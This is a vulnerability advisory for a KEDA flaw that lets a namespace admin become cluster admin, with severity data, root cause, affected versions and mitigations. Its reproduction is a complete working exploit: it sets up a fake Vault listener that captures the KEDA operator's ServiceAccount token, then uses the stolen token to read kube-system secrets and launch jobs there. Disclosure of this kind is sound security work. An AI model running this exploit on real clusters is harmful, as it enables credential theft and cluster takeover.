KEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthenticationGHSA-637c-6jxx-4rwm
CRITICALFix: kedacore/keda@1e21cc7GHSA-637c-6jxx-4rwm is a critical-severity (CVSS 9.9) Improper Privilege Management vulnerability in github.com/kedacore/keda. A fix is available for github.com/kedacore/keda — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-637c-6jxx-4rwm.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-637c-6jxx-4rwm by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/kedacore/keda🐹github.com/kedacore/keda/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A namespace admin who creates a TriggerAuthentication and a ScaledObject in their own namespace can make the KEDA operator send its own ServiceAccount token to a tenant-controlled URL. That token holds ["*"]/["*"] get cluster-wide, so it reads every Secret in every namespace, plus batch/jobs and horizontalpodautoscalers create/delete cluster-wide, */scale update on any workload, validatingwebhookconfigurations update (rewrite or disable cluster admission), and apiservices update (hijack aggregated API routing). This is effectively privilege escalation from namespace admin to cluster admin in real environments: a cluster-wide Secret read alone is enough to find a token for a more privileged ServiceAccount, and the cluster-wide batch/jobs create lets the attacker run a workload in any namespace whose Pod Security Admission level permits it (or that is PSA-exempt, such as kube-system , kyverno) to reach the node filesystem and a control-plane kubeconfig.
This is an incomplete fix of CVE-2025-68476: its content filter only requires the loaded file to be a JWT whose subject begins with system:serviceaccount:, which the operator's own projected token satisfies by construction. The destination field hashiCorpVault.address is unvalidated.
Finder credits: Artem Cherezov @cherez0ff, with Claude Opus 4.8
Verified live
kind v1.31.2, kedacore/keda v2.20.0 (latest at the time of audit, https://github.com/kedacore/keda) installed from the unmodified release manifest keda-2.20.0.yaml (ghcr.io/kedacore/keda:2.20.0), default settings.
Preconditions
- The tenant holds
createontriggerauthentications.keda.shandscaledobjects.keda.shin its own namespace (the documented KEDA tenant workflow), plus the built-ineditClusterRole in that namespace. Often granted by a namespaced admin Role (--verb='*' --resource='*.*') in multi-tenant environments. - KEDA is installed with default settings.
Reproduction
Cluster preparation (not part of the attack)
kind create cluster --image kindest/node:v1.31.2 --name keda-poc --kubeconfig ./kubeconfig
export KUBECONFIG=./kubeconfig
# Install KEDA v2.20.0 (unmodified vendor release manifest).
curl -sSL -o keda-2.20.0.yaml https://github.com/kedacore/keda/releases/download/v2.20.0/keda-2.20.0.yaml
kubectl apply --server-side -f keda-2.20.0.yaml
kubectl wait --for=condition=Established crd/triggerauthentications.keda.sh crd/scaledobjects.keda.sh --timeout=120s
kubectl -n keda rollout status deploy/keda-operator --timeout=180s
# Tenant identity: namespace admin in tenant-a.
kubectl create namespace tenant-a
kubectl -n tenant-a create serviceaccount tenant
kubectl -n tenant-a create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-a:tenant
kubectl -n tenant-a create role tenant-keda --verb=create,get --resource=triggerauthentications.keda.sh,scaledobjects.keda.sh
kubectl -n tenant-a create rolebinding tenant-keda --role=tenant-keda --serviceaccount=tenant-a:tenant
# Mint a tenant kubeconfig from a real TokenRequest token.
SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
CA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')
TOKEN=$(kubectl -n tenant-a create token tenant --duration=24h)
cat > kubeconfig-tenant <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }
contexts:
- name: tenant
context: { cluster: kind, user: tenant, namespace: tenant-a }
current-context: tenant
users:
- name: tenant
user: { token: ${TOKEN} }
EOF
# Seed a "secret" canary in kube-system to make impact self-evident.
kubectl -n kube-system create secret generic poc-canary --from-literal=canary=KEDA-F1-CANARY-7f3a9c2e
Attack
- Deploy a listener in the tenant namespace that impersonates a HashiCorp Vault server. It logs the login request body and replies with a well-formed Vault auth envelope. The KEDA operator uses the Vault Go client, which issues the login as an HTTP
PUT, so the listener must accept all methods.
kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'
apiVersion: v1
kind: ConfigMap
metadata: { name: fake-vault-src, namespace: tenant-a }
data:
vault.py: |
import http.server, socketserver, sys, json
class H(http.server.BaseHTTPRequestHandler):
def log_message(self,*a): pass
def _h(self):
ln=int(self.headers.get('Content-Length') or 0)
body=self.rfile.read(ln) if ln else b''
sys.stdout.write("VAULT-LOGIN %s %s\n%s\n"%(self.command,self.path,body.decode('utf-8','replace'))); sys.stdout.flush()
r=json.dumps({"auth":{"client_token":"s.poc","lease_duration":3600,"renewable":True,"policies":["default"]}}).encode()
self.send_response(200); self.send_header("Content-Type","application/json"); self.send_header("Content-Length",str(len(r))); self.end_headers(); self.wfile.write(r)
do_GET=do_POST=do_PUT=do_DELETE=do_OPTIONS=do_HEAD=_h
socketserver.TCPServer.allow_reuse_address=True
with socketserver.TCPServer(("0.0.0.0",8200),H) as s: s.serve_forever()
---
apiVersion: v1
kind: Pod
metadata: { name: fake-vault, namespace: tenant-a, labels: { app: fake-vault } }
spec:
containers:
- name: vault
image: python:3.12-slim@sha256:090ba77e2958f6af52a5341f788b50b032dd4ca28377d2893dcf1ecbdfdfe203
command: ["python3","/src/vault.py"]
volumeMounts: [{ name: src, mountPath: /src }]
volumes: [{ name: src, configMap: { name: fake-vault-src } }]
---
apiVersion: v1
kind: Service
metadata: { name: fake-vault, namespace: tenant-a }
spec:
selector: { app: fake-vault }
ports: [{ port: 8200, targetPort: 8200 }]
EOF
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a wait --for=condition=Ready pod/fake-vault --timeout=120s
- Create the
TriggerAuthentication(the primitive) and aScaledObjectwith acrontrigger referencing it. Withauthentication: kubernetesand nocredentialblock, KEDA defaultscredential.serviceAccountto the operator pod's own token path.
kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'
apiVersion: keda.sh/v1alpha1
kind: TriggerAuthentication
metadata: { name: vault-auth, namespace: tenant-a }
spec:
hashiCorpVault:
address: http://fake-vault.tenant-a.svc:8200 # tenant-controlled destination, no validation
authentication: kubernetes
mount: kubernetes
role: poc
secrets:
- { parameter: anything, key: anything, path: secret/data/anything }
---
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata: { name: poc-so, namespace: tenant-a }
spec:
scaleTargetRef: { name: poc-target }
pollingInterval: 5
minReplicaCount: 0
maxReplicaCount: 2
triggers:
- type: cron
metadata: { timezone: UTC, start: "0 * * * *", end: "30 * * * *", desiredReplicas: "1" }
authenticationRef: { name: vault-auth }
---
apiVersion: apps/v1
kind: Deployment
metadata: { name: poc-target, namespace: tenant-a }
spec:
replicas: 1
selector: { matchLabels: { app: poc-target } }
template:
metadata: { labels: { app: poc-target } }
spec:
containers: [{ name: pause, image: registry.k8s.io/pause:3.10 }]
EOF
- The operator reconciles the
ScaledObject, builds the scaler, resolves theauthenticationRef, and PUTs its own ServiceAccount token to the listener as the Vault login body. Read it back:
sleep 20
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault | grep -A1 'VAULT-LOGIN PUT'
# VAULT-LOGIN PUT /v1/auth/kubernetes/login
# {"jwt":"eyJhbGciOiJSUzI1NiIs...","role":"poc"}
- Build a kubeconfig from the stolen token and use it. The token authenticates as the operator ServiceAccount and reads the kube-system Secret the tenant could not read directly:
STOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault \
| sed -n 's/.*"jwt":"\([^"]*\)".*/\1/p' | head -1)
cat > kubeconfig-stolen <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }
contexts:
- name: stolen
context: { cluster: kind, user: stolen }
current-context: stolen
users:
- name: stolen
user: { token: ${STOLEN} }
EOF
kubectl --kubeconfig=./kubeconfig-stolen auth whoami
# Username system:serviceaccount:keda:keda-operator
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get secret poc-canary -o jsonpath='{.data.canary}' | base64 -d
# KEDA-F1-CANARY-7f3a9c2e
# The token also creates workloads cluster-wide via batch/jobs; a Job lands a pod in kube-system.
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system create job pwn --image=busybox -- sh -c 'sleep 60'
# job.batch/pwn created
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get pods -l job-name=pwn
# pwn-q5j5s 1/1 Running 0 8s
Root cause
A namespace tenant should not be able to make the operator authenticate to a tenant-controlled server using the operator's own cluster-privileged identity. The destination address is fully tenant-controlled and unvalidated, and the credential the operator presents defaults to its own ServiceAccount token. The content filter added for the prior arbitrary-file-read advisory checks only that the loaded bytes look like a Kubernetes ServiceAccount token, which is exactly the shape of the operator's own token, so it does not constrain the credential to one the tenant is entitled to use.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/kedacore/keda | all versions | No fix |
| 🐹Go | github.com/kedacore/keda/v2 | all versions | 2.21.0go get github.com/kedacore/keda/v2@v2.21.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kedacore/keda, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
No patched version of github.com/kedacore/keda has shipped for GHSA-637c-6jxx-4rwm yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
A namespace admin is an already authenticated user confined to a namespace. Therefore, that flaw allows for privilege escalation to an already authenticated user: i.e. Important
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for GHSA-637c-6jxx-4rwm (CC BY 4.0)
Frequently Asked Questions
Is GHSA-637c-6jxx-4rwm in your dependencies?
Find it across Go, including transitive dependencies.